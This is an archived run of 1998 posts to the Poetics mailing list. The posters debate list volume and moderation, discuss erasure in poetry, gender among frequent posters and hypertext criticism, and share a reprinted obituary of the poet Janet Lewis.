That 452 recipients is pretty consistent with the numbers that I gathered through looking at the list of subscribers and their settings. This means that about 214 or so people are set to NOMAIL. After looking at this list of people set to NOMAIL, I am pretty sure that many of them are not coming back. Some of them are either dead, moved on to new academic institutions, new ISPs, or whatever. There are many duplicates, as has been pointed out. Of the people who were set to NOMAIL, I noticed probably a dozen or so (at most) who were or have been, and probably will be, active members (readers &/or contributors) to the list. Of the rest, many of them have never posted, as far as I can tell. If you send the following command

REVIEW poetics

in a one-line message to the [redacted] address you will see that there are 666 (+/-) people listed. Three are concealed, and one of the concealed is (oddly) also set to NOMAIL.

Perhaps there is some sense of "who's who" that makes people who aren't interested in participating keep their names in the coolio hipster poetics list register. Anyone on the list who needs to find Jena Osman, say, or whomever, can find that person without much difficulty. So I do think that there is some functionality to being set NOMAIL.

Of the remaining 450 or so people who receive poetics list posts, currently about 200 (with a 1% margin of error) are set to digest. This means they receive all of the messages as one message at 12:00am ET. This leaves about 250 or so participants reading these messgaes one at a time. Because it is much more difficult to reply from the digest mode to a particular issue, the greatest amount of participation comes from these 250 who are regular subscribers to the p-list. Very few digest members of this list ever write in to the list and it seems to be one step from NOMAIL in the sense that the amount of effort to delete what has been at times a several hundred page document (each day's digested message) is about the same as it is cancel a transaction at the ATM.

in response to Ron, who says:

"215 posters means that 451 lurkers chose not to send a single message. Sixty four people sent only a single message. So 151 people chose to send more than one. On average, people posted 4.5 messages for the month. (And, 451 "silent lurkers" could have each posted once and we still would have had room for another 65 messages, two per day for the entire month.)"

If we chop off 200 hundred for NOMAIL and maybe estimate that less than half (?) of the digest people are actually reading these messages (though I would suspect that it is much lower) then lets say that there are approximately 150-200 lurkers

The problem here, Ron, is that growth of replies out of a source post is exponential. I would bet that if 50 or so people who don't write in to this list, but who are regular readers of it, were to START posting something, there would be a wildfire of response multiplying the top people on your list into numbers that would ruin your "still room left under our tent" theory.

perhaps I am wrong, maybe they would all be ignored....

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192. **Joe Brennan**
Re: reading recommendations
Sat 5 Dec 1998

In a message dated 12/5/98 7:42:41 AM Eastern Standard Time, [redacted] writes:

<< God bless the
blabbermouths too, whoever they are. >>

& the troublemakers....

jb...

↑ Index

193. **Herb Levy**
Janet Lewis
Sat 5 Dec 1998

From this morning's NY Times (The composer of the Martin Guerre opera was Bergsma, not Bergsman):

Janet Lewis, 99, Poet of Spirit and Keeper of the Hearth, Dies

By ROBERT McG. THOMAS Jr.

Her first writings to reach print ran shoulder to shoulder with Ernest Hemingway's. For her first published poetry she was grouped with William Carlos Williams and Marianne Moore. She made it to Paris ahead of both Hemingway and F. Scott Fitzgerald. She was a leader of the University of Chicago school of imagist poets, and if hers is not a household name, by the time she died on Monday at the age of 99 in the house in Los Altos, Calif., she had occupied for two-thirds of a century, Janet Lewis had the satisfaction of knowing she had

written poetry throughout the 20th century and seen it published and praised in every decade since the first.

Her reputation has seemingly been eclipsed by that of her late husband, Yvor Winters, the poet, professor and critic who wrestled Hart Crane's "Bridge" into print and made Stanford -- and Los Altos -- a magnet for three generations of poets. Yet there are many who will assure you that when the literary history of the second millennium is written at the end of the third, in the category of dazzling American short fiction her "Wife of Martin Guerre" will be regarded as the 20th century's "Billy Budd" and Janet Lewis will be ranked with Herman Melville. (Though, to be fair, her prose is more often likened to Stendahl's.)

What makes her accomplishments even more impressive is that over the course of a a career in which she wrote hundreds of poems, a single collection of short stories, a couple of children's books, a handful of novels, the words to five operas and one acclaimed masterpiece, Miss Lewis pursued a literary life in which the focus was on the life and the life was one of such placid equilibrium and domestic bliss that she had to reach deep down in her psyche -- and far back in the annals of criminal law -- to find the wellspring of tension that produced some of the 20th century's most vividly imagined and finely wrought literature.

She also had to find the time.

As she once observed, women of prodigious literary output, like Willa Cather and Edith Wharton, tended not to have children. As the mother of two, Miss Lewis willingly put her work aside when her children were young and cheerfully accepted other duties as well. "It's a question of what you want to do with your life," she once said. "You might also want to take care of your husband."

The daughter of a poetry-spouting English professor, Miss Lewis was born in Chicago and grew up in Oak Park where she and her 1899 contemporary, Ernest Hemingway, contributed their first works to the same high school literary magazines, she deriving inspiration by summering even deeper in the north woods than he and finding a lifelong fascination with nature and the natural flow of life.

Her sentiments were expressed in a 1922 poetry collection, "The Indians in the Woods," in a series of stories later included in a 1946 collection, "Good-Bye, Son and Other Stories," and in a 1932 narrative, as she called it, "The Invasion," the multi-generational account of a Scotch-Irish-Indian family.

After two years at a junior college, Miss Lewis completed her education at the University of Chicago, majoring in French while joining the famous Poetry Club and meeting Mr. Winters, who had spent time at a tuberculosis sanitarium in Santa Fe, N.M.

After a brief stay in Paris after graduation in 1920, Miss Lewis returned to Chicago but soon contracted tuberculosis herself and spent five years at the same sanitarium, engaging in a passionate correspondence with Mr. Winters and eventually marrying him and following him to California, where she threw herself into a satisfying domestic life that included tending to her husband's registered Airedales, harvesting the fruit from the adjacent orchard and serving as a sort of serene den mother to an extended, animated family of her husband's awed acolytes.

One of the first and by far the fiercest and most controversial of the New Critics and a man of cocksure opinions, for all his fabled influence on 20th century American poetry, Mr. Winters may have made his greatest contribution to literature when his wife, whose life was virtually without drama, complained that she had trouble finding suitable plots and he gave her a chance copy of a 19th-century compilation of famous old legal cases.

By the time she had finished it, Miss Lewis had all but abandoned poetry and embarked on what turned out to be three short historical novels, "The Wife of Martin Guerre" (1941), "The Trial of Soren Qvist" (1947) and "The Ghost of Monsieur Scarron" (1959), all based on actual cases and so compellingly imagined and told that she inspired the 1956 "Wife of Martin Guerre" opera by William Bergsman, who asked her to write the libretto. The composer Alva Henderson was so impressed he got her to write the libretto for his 1976 opera, "The Last of the Mohicans," and two others.

The historical novels, Miss Lewis said later, represented the "heavy thinking" of a literary career that did not include her poetry. Her poems, she said, were always personal, a quiet corner of her life.

Devastated by her husband's death in 1968, Miss Lewis, who never took his name off the mailbox and maintained his writing shed as a shrine, sought to deal with her grief by revisiting the Southwest, rediscovering her fascination with the local Indians and producing a series of memorable poems.

For Miss Lewis, who is survived by a daughter, Joanna Thomson of Madison, Wis.; a son, Daniel Winters of Davis, Calif., and three grandchildren, her family was always more important than her work, and her life is well reflected in her final collection, "The Dear Past," (1994) with poems covering most of the century.

Under the influence of her husband, she had done her share of experimenting, but the woman who had begun her career by taking part in the imagist revolution that sought to strip poetry of its former artifice, ended it the same way, using spare, lyrical language to describe and celebrate the simplest scenes of nature.

For a woman who charmed generations of troubled poets and other literary figures with her almost otherworldly serenity, looking back over the domestic scenes of a long, literary life it would be hard to find a more compelling image of Miss Lewis -- or one more evocative of the flesh-and-blood life beneath the surface of 20th-century literature -- than one of the many at the family's house after a warm, rollicking meal with the couple's dearest friends.

You may have to close your eyes to conjure up the sight, but there they are forever, two 1899 contemporaries standing side by side at the kitchen sink, Janet Lewis washing, Vladimir Nabokov drying.

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Herb Levy

[redacted]

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194. Eliza McGrand
Re: Erasing
Sat 5 Dec 1998

i think it might be because we are becoming aware of the huge amount of accrued, present, and about to appear text out there. plus the 15 seconds of fame notion gnaws at us. so, even as we read, and try and conceptualize it in the classic ways we've been taught ("one of the ten best..." "one of the rare books about..." "one of...") in a sense we fear already losing it, already having forgot the "quantity" of read matter from sheer wight owhoops weight of volume.

reminds me of one of my main anxiety dreams, the one where i suddenly realize it is months into the semester and there is a class i have forgotten to go to. and now i must take a test in it. or job i've forgotten i have. sense of so much to keep track of, loss of individual things in it. ?? my guess anyway e

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195. Joe Amato/Kass Fleisher
Re: Policing the List
Sat 5 Dec 1998

just to say, some great stuff there from alan s and ron s... along with 'why i'm on this list' posts (like eliza's and others') it helps in fleshing out the list function entire...

perhaps, then, this sort of house-cleaning/reflexive air-play is a necessary part of keeping such places alive?...

best,

joe

↑ Index

196. Edward Fristrom
Re: Freedom Is Never Free
Sat 5 Dec 1998

"I believe in the value of editing and I believe this value does not increase in the age of the Internet, but, if anything, increases."

?

↑ Index

197. Randy Prunty
Policing the List
Sat 5 Dec 1998

I for one am one. And as one I am one and I am one. I for one will post in the lovely month of December and I will post 100 times. I will post and I will post and I will make Ron Silliman's list.

Randy

Henry Gould 39
Gabriel Gudding 34
Kent Johnson 32
Mark Weiss 29
Jonathon Mayhew 29
A. Jenn Sondheim 25
David Bromige 24
miekal and 21
Joe Amato/Kass Fleisher 20
Eliza McGrand 19
Mairead Byrne 17
Mark Prejsnar 17
Mark DuCharme 14
Michael Magee 14
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George Bowering 12
Judy Roitman 11
Kathy Lou Schultz 11
Ron Silliman 11

Maria Damon 10
Todd Baron /*/ ReMap 10

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198. Randy Prunty
Re: Erasing
Sat 5 Dec 1998

I for one am two and as two I am too. Eliza writes of her anxiety dream and I have had that dream too. And this is an account of a true event and it is very interesting. I for one have been lurking and I have been lurking for a year. Since then and since then I have been lurking and now I'm not lurking to make Ron's list and I will have fame and not as much as she and not as much as Gertrude Stein. And I for one have been erased and my lurking has been my erasing before I was even written.

Randy

Eliza wrote: "i think it might be because we are becoming aware of the huge amount of accrued, present, and about to appear text out there. plus the 15 seconds of fame notion gnaws at us. so, even as we read, and try and conceptualize it in the classic ways we've been taught ("one of the ten best..." "one of the rare books about..." "one of...") in a sense we fear already losing it, already having forgot the "quantity" of read matter from sheer wight owhoops weight of volume.

reminds me of one of my main anxiety dreams, the one where i suddenly realize it is months into the semester and there is a class i have forgotten to go to. and now i must take a test in it. or job i've forgotten i have. sense of so much to keep track of, loss of individual things in it."

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199. Ramez Qureshi
Query Pound
Sat 5 Dec 1998

Can anyone give me the source and verbatim quote for Pound's wise-ass dictum on new poetry not sounding as it may have been written twenty years ago? Thanx in advance, R.Q.

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200. **MAYHEW**
Re: Policing the List
Sat 5 Dec 1998

I'm a little embarrassed to have 29 posts in November. I'm going to slow down. The 1st couple months I was subscribed I was very slow to post, and anxious about the response of y'all. As a gradually gained confidence about what I had to say, my monthly totals crept up. It takes incredible ego to think that what I have to say will be of interest to hundreds of people, only about a dozen or so I have met face to face. But when I saw so many "throw away messages" I said "why not?" As an experiment I refrained from posting for a few days--to see the effect of my absence. The conversation turned to the nomenclature of Mars bars in England, Canada, and the US. Yet it might have easily taken a more scintillating turn...

Jonathan

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201. **Karen Kelley**
Re: Erasing
Sat 5 Dec 1998

Also that in the course of life, there are moments & times when words reveal themselves as elusive, illusory--in the most serious, least serious, most tragic, most joyous times--when life is so much *stronger* than any words that could be appended.

For example, we grow facile with words and then someone close dies--and we get first row visions of silence and disbelief and time-going-on. And all the words that could explain fall away.

I admire those who try to write into these voids (Harold Brodkey's _This Wild Darkness_ comes to mind, or the late work of Herve Guibert).

I always feel like a prehistoric creature in the face of extreme events. I realize how late language came to our biologies.

↑ Index

202. **William Marsh**
new media criticism [was Infoanimism]
Sat 5 Dec 1998

At 09:20 PM 12/4/98 -0800, Jim wrote:
 Though it is
>interesting to consider a criticism that can at once talk about the neath

text in an engaging way while also finding ways to talk about totally non-technical
>dimensions of new media. Ideally, we develop a critical language that can lite through all the dimensions of the work and the frame and the other frames without
>getting bogged down in technicalities.

indeed, a criticism with its own neath text -- especially if the criticism is composed in dhtml / that layering again...

but seriously, i agree with your call here and would even like to see criticism that separates these dimensions, if only temporarily and for the sake of discussion / perhaps a new breed of polarized critique that on one side (of the page?) stresses the non-technical and on the other the technical aspects of the work -- some formal possibilities here / also could make for some neat collaborations between folks more attuned to the aesthetics and others better versed in the software

bill

- -
William Marsh | PBrain | http://bmarsh.dtai.com
- -

↑ Index

203. Steven Shoemaker
enervation effect
Sat 5 Dec 1998

Ok, flexible (or maybe just wishy-washy) fellow that I am, I'm now abandoning my advocacy of the two-post per day platform (since it's never going to happen anyway), and am now all in favor of the virtues of self-moderation. This is what I wanted all along anyway (as I said)--I had just begun to wonder if it could really happen. Now I've decided to be, once again, infused with optimism about this possibility. But I did want to mention something that seems to me to be missed by Ron's analysis of "how the list really works," and by those others before him who pointed out that the ceiling of 50 posts per day is most often not reached. It seems, to me at least, that there is something enervating* about reading multiple postings from the same people, day after day, especially if there seems little in the way of rewarding content in those posts. This "enervation effect," I would argue, has an unfortunate effect on the vitality of the list, and this effect occurs *even if the day's limit is not literally exceeded*. One's

list-appetite can be surfeited on this sort of diet long before that limit is actually reached.

*enervate--Tom Orange has already used this word in relation to list dynamics, and it seems to me peculiarly applicable. "To deprive of nerve, force or strength; to weaken physically, mentally, or morally; to render feeble." The word also, to me, has a pleasingly fin de siecle ring about it. I predict a new vogue for it as the cyberage approaches the millennium.

steve

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204. Joe Amato/Kass Fleisher
Janet Lewis and Miekal And
Sat 5 Dec 1998

herb, thanx... geezus, what a story!... and i have to say, i don't think i've ever read a word by janet lewis...

so i guess i have to add her to my ever-growing list...

&

well now that miekal has posted to the list something i've felt should happen for a good while now, i'll 2nd the motion: i too think we should have an f2f conference, derived somehow from (owing somehow to?) this list... how i'm not sure, but it's all open to discussion... perhaps "conference" isn't the right word either---perhaps a gathering of the tribes would be more apropos... or a festival, or a garden party, or-----

of course not just logistics and money are involved... TIME would be involved, somebody's time in particular... so what, now, do we ask charles to put this together for us?... again, is this up to charles (and joel, et al.)?... i can only help out (i think) via this box here mself...

so what, now?...

best,

joe

↑ Index

205. Mairead Byrne
Re: enervation effect
Sat 5 Dec 1998

On Sat, 5 Dec 1998, Steven Shoemaker wrote:

> seems, to me at least, that there is something enervating* about reading
> multiple postings from the same people, day after day, especially if there
> seems little in the way of rewarding content in those posts. This
> "enervation effect," I would argue, has an unfortunate effect on the
> vitality of the list, and this effect occurs *even if the day's limit is
> not literally exceeded*. One's list-appetite can be surfeited on this
> sort of diet long before that limit is actually reached.
>
If we could get rid of the 4 or 5 female posters in the top 23, that might be a start. I have noticed that females sometimes tend to write many short posts rather than a single long "rewarding" posts. This definitely saps the masculinity, I mean the vitality, of the list. I know there aren't that many women piping up but guys like Henry and Gabe also contribute to the splintering or splitting of male, sorry mail, energy. Look at the end of the last century -- those cissies Beardsley and Wilde. Down with weakness, physical, mental, or moral. Be aware: I have no vested interest in this post (I'm a man).
Mairead

> **enervate--Tom Orange has already used this word in relation to list dynamics, and it seems to me peculiarly applicable. "To deprive of nerve, force or strength; to weaken physically, mentally, or morally; to render feeble." The word also, to me, has a pleasingly fin de siecle ring about it. I predict a new vogue for it as the cyberage approaches the millennium.*
>
> *steve*

↑ Index

206. **Laura E. Wright**
Re: Erasing and non-po reading
Sat 5 Dec 1998

For me, a fascination with the idea of the poem going around what it is "about" rather than directly on or through it. A circumnavigation rather than description, or description of "everything but" the purported subject. Also, the tantalizing nature of omission. Strikethrough is a sort of sleazy cousin to this, omitting, but allowing us to see what was omitted. Good for those of us with insatiable nosiness.

And while I'm here, my recent non-poetry reading includes
The Annotated Alice
Bachelard, The Poetics of Space

An Article on Global Warming written by my uncle in Nucleus magazine
Padgett, Creative Reading (read that a while ago, but have to mention it)
Pacific Crest Trail Guidebooks

Best,
Laura
--
Laura Wright, Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]

"Speech keeps strangling itself, but wisdom has not come."
--Henri Michaux

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207. Steven Shoemaker
Re: enervation effect
Sat 5 Dec 1998

Ah, yes, that's it, that sensation I was trying to pinpoint: the feeling of having my precious (male) bodily fluids drained, like Sterling Hayden in Dr. Strangelove...

I meant to be poking fun at myself a little with the "enervation" thing, even as I also had a point to make, but maybe that didn't come across. But if we do seriously look at this thing from the standpoint of gender, it seems to me that the more pertinent fact is that *only* four of the twenty-five top-posters are women. And the women who do post to the list, or have tried to, have often complained about this sort of male dominance of listchat. Further, if you look at just the top 5 posters, or even the top 10, they are *all* male. It seems, then, that there may be an interesting correlation between the predominantly male frequent-posting phenomenon and the feeling of exclusion so many female listmembers have complained about over the years.

steve

On Sat, 5 Dec 1998, Mairead Byrne wrote:

> *On Sat, 5 Dec 1998, Steven Shoemaker wrote:*
>
> *seems, to me at least, that there is something enervating* about reading multiple postings from the same people, day after day, especially if there*

> *seems little in the way of rewarding content in those posts. This "enervation effect," I would argue, has an unfortunate effect on the vitality of the list, and this effect occurs *even if the day's limit is not literally exceeded*. One's list-appetite can be surfeited on this sort of diet long before that limit is actually reached.*
>
> *If we could get rid of the 4 or 5 female posters in the top 23, that might be a start. I have noticed that females sometimes tend to write many short posts rather than a single long "rewarding" posts. This definitely saps the masculinity, I mean the vitality, of the list. I know there aren't that many women piping up but guys like Henry and Gabe also contribute to the splintering or splitting of male, sorry mail, energy. Look at the end of the last century -- those cissies Beardsley and Wilde. Down with weakness, physical, mental, or moral. Be aware: I have no vested interest in this post (I'm a man).*
> *Mairead*
>
> **enervate--Tom Orange has already used this word in relation to list dynamics, and it seems to me peculiarly applicable. "To deprive of nerve, force or strength; to weaken physically, mentally, or morally; to render feeble." The word also, to me, has a pleasingly fin de siecle ring about it. I predict a new vogue for it as the cyberage approaches the millennium.*
>
> *steve*

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208. **Joe Amato/Kass Fleisher**

Re: enervation effect

Sat 5 Dec 1998

---

steve, let me risk raising my tally to (1) post less than 100 words (an amazing feat for me, as you all know by now), and (2) to say, with as much (masculinist?) emphasis as possible, RIGHT ON re gender... of course to be more inclusive means (and here i risk what is by now a bromide) to be willing to entertain difference...

best,

joe

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209. **juliana spahr**

why I am not a reader of the poetics list

Sat 5 Dec 1998

This is my confession.

I can't read poetics list anymore. I have a shortage of time in my life. I have a loss of patience. I am a girl and it feels like it isn't a friendly place for girls. In fact, some days it feels like it is only friendly to white men. I know I generalize. That is why I use the word feel.

But what I mean to write here is why I am sad about the poetics list.

I like to buy books. I like to send money to small presses and get things made by hand back. I like to read these and then put these in my bookshelves. They bring me comfort at faculty meetings where it is said that younger people do this or don't do that and and thus they should all be punished. Or they give me something to read on long airplane trips back to the contiguous 48.

But because I can't read poetics list I can't get all the good announcements of books to buy.

At one point, years ago, someone, was it Marjorie?, suggested that the poetics list be a place of announcements only. This was protested. I myself wasn't so sure it was a good idea.

But might it not be time to reconsider this?

There are various ways now that one can set up one's own list for free. And those that have lifestyles that allow them to read a lot and post a lot and feel like the place is friendly for them and like to post a lot, well they should be posting a lot. Isn't that the right of boundless opportunity of electronic and consumer society? But maybe they should be doing this with those that like to read a lot of postings on a list set up for this. The high post poetics list say? Or it might good now to have total listserve anarchy and for there to no longer be a central convesation but rather for there to be the creation of self-governing, special interest lists.

And then the poetics list could be the announcement of readings list. Really I would like it to be the call for work, the announcement of readings, the I published this, the order this, the does anyone know where this quotation is from, and the brief review of something I read recently list. With maybe around 5-6 posts per day.

Or in my utopia there would be no conversation. No I agree or I disagree. No so and so is stupid. All that would go on the adjunct list for day to day conversation or the one for good general loving conversation or the one for many posts

per day conversation or the one for attacking conversation among those who have the wonderful luxury of time or the better abilities of efficiency than me.

I don't know. I just makes me sad that this list, which is a huge, and perhaps only, information resource, is something that I can't do or that feels hostile.

I miss the old days.

With kindness and loving and trying not to be insulting,

Juliana Spahr

↑ Index

210. Mark Weiss
Re: enervation effect
Sat 5 Dec 1998

As one of the top five posters, but also a poster of usually very brief messages, I'd like to point out that I'm only mostly male.

At 05:01 PM 12/5/98 -0500, you wrote:
>Ah, yes, that's it, that sensation I was trying to pinpoint: the feeling
>of having my precious (male) bodily fluids drained, like Sterling Hayden
>in Dr. Strangelove...
>
>I meant to be poking fun at myself a little with the "enervation" thing,
>even as I also had a point to make, but maybe that didn't come across.
>But if we do seriously look at this thing from the standpoint of gender,
>it seems to me that the more pertinent fact is that *only* four of the
>twenty-five top-posters are women. And the women who do post to the list,
>or have tried to, have often complained about this sort of male dominance
>of listchat. Further, if you look at just the top 5 posters, or even the
>top 10, they are *all* male. It seems, then, that there may be an
>interesting correlation between the predominantly male frequent-posting
>phenomenon and the feeling of exclusion so many female listmembers have
>complained about over the years.
>
>steve
>
>
>
>
>On Sat, 5 Dec 1998, Mairead Byrne wrote:
>
>> On Sat, 5 Dec 1998, Steven Shoemaker wrote:

>>
>>
>> > seems, to me at least, that there is something enervating* about reading
>> > multiple postings from the same people, day after day, especially if
there
>> > seems little in the way of rewarding content in those posts. This
>> > "enervation effect," I would argue, has an unfortunate effect on the
>> > vitality of the list, and this effect occurs *even if the day's limit is
>> > not literally exceeded*. One's list-appetite can be surfeited on this
>> > sort of diet long before that limit is actually reached.
>> >
>> If we could get rid of the 4 or 5 female posters in the top 23, that might
>> be a start. I have noticed that females sometimes tend to write many short
>> posts rather than a single long "rewarding" posts. This definitely saps
>> the masculinity, I mean the vitality, of the list. I know there aren't
>> that many women piping up but guys like Henry and Gabe also contribute
to
>> the splintering or splitting of male, sorry mail, energy. Look at the end
>> of the last century -- those cissies Beardsley and Wilde. Down with
>> weakness, physical, mental, or moral. Be aware: I have no vested interest
>> in this post (I'm a man).
>> Mairead
>>
>> > *enervate--Tom Orange has already used this word in relation to list
>> > dynamics, and it seems to me peculiarly applicable. "To deprive of
nerve,
>> > force or strength; to weaken physically, mentally, or morally; to render
>> > feeble." The word also, to me, has a pleasingly fin de siecle ring about
>> > it. I predict a new vogue for it as the cyberage approaches the
>> > millennium.
>> >
>> > steve
>> >
>>
>
>

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211. Elizabeth Treadwell
it feels like harassment
Sat 5 Dec 1998

OK, I frontchanneled a back channel msg from Mark W. Really not feeling like making enemies for no reason, but to me, a back channel msg basically telling me to shut up because what I am saying is obvious or pointless, well IT feels like harassment to me!

sick of the list,
seeya

Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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212. Thomas Bell
Re: Erasing
Sat 5 Dec 1998

Good question, but I think the answer doesn't need to bring in "larger" philosophical/psychological stuff. A interest in negative space and clearing away room in the arts goes back at least as far as Matisse and surfaces in a cyclical fashion from that time on. For me this "negative" interest is also more concrete and relates to the poem on the page.

tom bell

J. Fuhrman wrote:
>
> Lately I have been reading Rachel Blau DuPlessis's brilliant and
> haunting _Drafts 15-XXX, The Fold_,. In it, the image of text erased comes
> up. This image is also frequent in Michael Palmer and many
> other contemporary poets as well as visual artists.
--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

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213. **Thomas Bell**

Re: new media criticism [was Infoanimism]

Sat 5 Dec 1998

bill (and jim), while i applaud your interest in criticism of hypertext writing that takes an interest in the "non technical" dimension, i'm more than a little leery of separating technical and non technical aspects. As a writer I can't do this and in my "critical" work i'm finding that drawing that particular distinction can be misleading.

"We need to see ourselves at depth and engaged: within the historical scene, not confronting it, authoring the text of our future, projecting and not projected upon."

"In constructive hypertexts we are able to see our thought in movement, to see ourselves as light and not in shadows" Michael Joyce, _Of two minds

tom

William Marsh wrote:
>

> *indeed, a criticism with its own neath text -- especially if the criticism is composed in dhtml / that layering again...*
>
> *but seriously, i agree with your call here and would even like to see criticism that separates these dimensions, if only temporarily and for the sake of discussion / perhaps a new breed of polarized critique that on one side (of the page?) stresses the non-technical and on the other the technical aspects of the work -- some formal possibilities here / also could make for some neat collaborations between folks more attuned to the aesthetics and others better versed in the software*
>
> *bill*

--
/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

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214. Mark Weiss
Re: Erasing
Sun 6 Dec 1998

And beyond Matisse to Rembrandt by way of Whistler. Check out their graphic work. More recently in verse Schwerner's _Tablets_ is almost a dictionary of negative space--origin late 60's.

At 10:38 PM 12/5/98 -0600, you wrote:
>Good question, but I think the answer doesn't need to bring in "larger"
>philosophical/psychological stuff. A interest in negative space and
>clearing away room in the arts goes back at least as far as Matisse and
>surfaces in a cyclical fashion from that time on. For me this
>"negative" interest is also more concrete and relates to the poem on the
>page.
>
>tom bell
>
>J. Fuhrman wrote:
>>
>> Lately I have been reading Rachel Blau DuPlessis's brilliant and
>> haunting _Drafts 15-XXX, The Fold_,. In it, the image of text erased comes
>> up. This image is also frequent in Michael Palmer and many
>> other contemporary poets as well as visual artists.
>--
>//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
>OOOPSY \//\\\/\//\\\/ <><>,...,.,
>WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
> LLLL STOPG [EMPTY] SPACER
>
>index of online work at http://members.home.net/trbell
>essays: http://members.tripod.com/~trbell/criticism/gloom.htm
>
>

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215. Todd Baron /*/ ReMap
Re: perhaps another suggestion
Sun 6 Dec 1998

Tosh wrote:
>
> My favorite way of responding to the subject of 'too many postings' is to

> delete the one's I am not interested in. Plus people can backchannel if
> they want to get really into a subject matter. The choice should be up to
> the writer of the post, but should also be aware that you are sending out a
> post that is reaching ....? so many people. Focus who you want to speak
> to... if it is all, then send it. If it is one person, just send it to
> that one person.
>
> Case solved! Next case please!
>
> ----------
> Tosh Berman
> TamTam Books
> ----------

NOT SOLVED

I checked in today and received 90!!!!!!!!!! mails/postings.

While I applaud and sing the praises of the list
How the heck can ANYONE have so much time
AWAY from the "real work"
of writing????

GEEEEEEZ!

Todd Baron
++++++++
ReMap Readers

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216. Jim Andrews
v i s u a l a n g u a g e
Sun 6 Dec 1998

---

v i s u a l a n g u a g e is a new piece at
http://speakeasy.org/~jandrews/vispo/VisualLanguage/frame.html based mainly on a search of altavista for the term "visual language" (with the quotes), but also on my cogitations these days on visual language.

Regards,
Jim.

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217. Tom Orange
Erasing
Sun 6 Dec 1998

joanna,

do you have time to post a part of the duplessis text that you feel speaks to this issue and comment? i haven't been able to get a hold of it yet... a line of speculation one could trace regarding erased texts and blank pages might go from mallarme's un coup de des, through blanchot and jabes, to current work by anne-marie albiach and even barbara guest's latest, which seems to be particularly "evacuated" (which along with "enervated" seems to be my fin-de-siecle hommage for the week). i'm interested in the comparative evacuative strategies that might be at work here...

bests,
t.
[redacted]

---------- There are no straight lines, neither in things nor in language. Syntax is the set of necessary detours that are created in each case to reveal the life in things. -- Gilles Deleuze ----------

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218. Tom Orange
whodunnit / festival
Sun 6 Dec 1998

miekal,

for this poetics of hypertext project, are you talking about working off a new website or siphoning stuff from this list? (or both...)

t.
[redacted]

you wrote: "Im interesting in collectively creating a poetics of the hypertext that would withstand the enslaught of the many invigorated minds & styles -- & to create such a dialogue / reading thru as a hypertext. To do this everything posted to this discussion would have to useable on a website other than the archives. Much of the hypertext & its discussion is quite bland & unremarkable & it would be a significant contribution to the field as a whole is we (or at least the fabulous & verbose 20) could take a stab at changing the static & 3 dimensional way hypertext thought seems to be evolving."

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219. L. MacMahon and T.R. Healy
Re: it feels like harassment
Sun 6 Dec 1998

Elizabeth,

This is unhappy news. I am tempted to say that sending such a msg bc rather than fc is cowardly, that no one has the right to tell anyone to shut up and that if they like points so much they should stick their heads in a pencil sharpener.

But I'd rather say how much I like your posts, all of which I read, and which bring a valuable light to the list

Randolph Healy

from [redacted]

> From: Elizabeth Treadwell <[redacted]>
> To: [redacted]
> Subject: it feels like harassment
> Date: 06 December 1998 00:59
>
> OK, I frontchanneled a back channel msg from Mark W. Really not feeling
> like making enemies for no reason, but to me, a back channel msg basically
> telling me to shut up because what I am saying is obvious or pointless, well
> IT feels like harassment to me!
>
> sick of the list,
> seeya
>
> Elizabeth
>
> Outlet Magazine -&- Double Lucy Books
> P.O. Box 9013, Berkeley, California 94709 U.S.A.
> http://users.lanminds.com/~dblelucy

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220. Kathy Lou Schultz
Re: it feels like harassment
Sun 6 Dec 1998

---

1. I would hate to see Elizabeth T. leave the list as she (gasp!) actually posts about (gasp! gasp!) poetry and poetics, and has spurred interesting discussions

here. Also I wanna hear about the doings at Double Lucy (my favorite press name).

2. Charles Bernstein is hereby named winner of the Bionic Eyeball Award for having read ALL (gasp!) the posts on this list since its inception. Good god, man! I think you should lie down or something.

3. I'm so pleased to have made someone's top 25 and, hey, I tied with Ron Silliman.

4. I think efforts by Charles and Joel to moderate the list are made in good faith and must be accompanied by good will and self-moderation on the part of the listees.

Now, everyone get some sleep. We'll all feel better in the morning.

Peace,
Kathy Lou

Elizabeth Treadwell wrote:
>
> OK, I frontchanneled a back channel msg from Mark W. Really not feeling
> like making enemies for no reason, but to me, a back channel msg basically
> telling me to shut up because what I am saying is obvious or pointless, well
> IT feels like harassment to me!
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> Elizabeth
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> http://users.lanminds.com/~dblelucy

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221. **miekal and**
poetics of hypertext
Sun 6 Dec 1998

Tom Orange wrote:

> *for this poetics of hypertext project, are you talking about working off a new website or siphoning stuff from this list? (or both...)*

tom, it is my hope to use any resource available but in particular to get a project going on this list, & make a quantum leap out of the necessary self consciousness weve been under the spell of. anyone working on this would have to agree to their "texts" being put up on a website.

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222. **Jim Bennett**

Re: perhaps another suggestion

Sun 6 Dec 1998

> *I checked in today and received 90!!!!!!!!!! mails/postings.*
>
> *While I applaud and sing the praises of the list*
> *How the heck can ANYONE have so much time*
> *AWAY from the "real work"*
> *of writing????*

Like many writers that I know I spend most of my time trying to find thing to do that will distract me from the laborious task of writing. Getting up from the computer to start redecorating the room is not unheard of simply to avoid the awful truth which is that I have to write to earn my living (perhaps "justify my existence" is a more direct phrase albeit cliche). Anyway the truth is, the lists to which I belong, yes I belong and receive in indigestible(?) form the whole content of 4 lists, I read. In fact I must be the singularly most clued up screwed up obsessively anal retentive listee on the planet.

There is just nothing better in my day than the wonderfully chirpie voice which announces, "incoming mail", this means I have to leave my work, change screens and pay attention to some inane rambling from another, stranger, world. Occasionally I even respond to them. (like now).

